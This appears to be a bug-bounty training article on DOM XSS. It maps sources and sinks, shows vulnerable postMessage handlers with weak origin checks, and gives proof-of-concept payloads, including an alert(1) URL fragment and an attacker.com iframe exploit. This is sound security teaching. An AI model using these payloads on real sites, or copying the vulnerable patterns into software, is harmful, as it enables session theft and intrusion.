Advanced levelPremium

DOM XSS — sources, sinks and gadgets to chain filter bypasses

A complete map of sources (location, postMessage, document.referrer, localStorage) and sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets to build undetectable payloads.

Gorka El BochiMay 11, 202616 min

Quick answer

DOM XSS is client-side: the payload never touches the server. The flow is source → sink with or without an intermediate gadget. Common sources: location.hash, postMessage, document.referrer, window.name, localStorage. Executable sinks: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). When there's no direct sink, gadgets (toString coercion, jQuery addBack, lodash _.set) turn a "clean" sink into arbitrary execution.


Sources — where the controlled input comes from

Any data the attacker can manipulate without requiring the backend.

SourceManipulationNotes
location.hashURL fragment #payloadNot sent to the server, ideal for leaving no logs
location.search?param=payloadReflected server-side usually gives classic RXSS, client-side gives DOM XSS
location.pathnameURL path segmentsUseful with client-side routers (React Router)
document.referrerThe Referer header of the previous requestThe attacker controls it via their own page with a link
window.namePersists cross-origin via target.name=... before navigatingA classic source for CSP bypass
postMessageiframe.contentWindow.postMessage(...)Most exploited DOM XSS vector in 2026
localStorage / sessionStorageSet from another XSS or subdomainPersistent
IndexedDBSame originIdem
WebSocket messageIf the app opens a WS and the attacker can inject messages (MITM, server bug)Niche
BroadcastChannelMessages between same-origin tabsNiche
document.cookieSet from a subdomain or cookie tossingUseful when there's client-side parsing

Sinks — where JavaScript executes

"Hard" sinks (they execute JS directly if you put a payload in them):

javascript
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);   // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput);          // jQuery
$(userInput);               // jQuery con HTML string
range.createContextualFragment(userInput);

"Soft" sinks (they need the payload to have a specific shape):

javascript
location.href = userInput;        // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput;          // <iframe src=javascript:...>
element.href = userInput;         // <a href=javascript:...>
element.action = userInput;       // <form action=javascript:...>
element.onclick = userInput;      // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput);  // si reflejado luego con innerHTML

Trivial source → sink pattern

javascript
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
php-template
https://target.com/page#<img src=x onerror=alert(1)>

Automatic detection: DOM Invader (Burp), DOMSnitch (Chrome extension), or the manual hook:

javascript
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) {
    if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
      console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
    }
    origInnerHTML.set.call(this, v);
  }
});

postMessage handlers — the #1 vector of 2026

The window.addEventListener('message', ...) listener receives cross-origin data. If it doesn't validate event.origin, any external domain (an iframe opened on attacker.com with target.com framed) can send payloads.

javascript
// Vulnerable
window.addEventListener('message', (e) => {
  document.getElementById('ads').innerHTML = e.data;
});

Exploit:

html
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>

More sophisticated variations

JSON message + property dispatch

javascript
window.addEventListener('message', (e) => {
  const data = JSON.parse(e.data);
  if (data.type === 'render') {
    document.getElementById(data.target).innerHTML = data.html;
  }
});

Payload:

javascript
target.contentWindow.postMessage(
  JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
  '*'
);

Origin check with .includes or a loose regex

javascript
if (e.origin.includes('target.com')) { ... }  // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... }    // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... }  // eviltarget.com pasa

Any validation that doesn't use e.origin === 'https://target.com' is bypassable.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Dom Xss Gadgets Postmessage

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy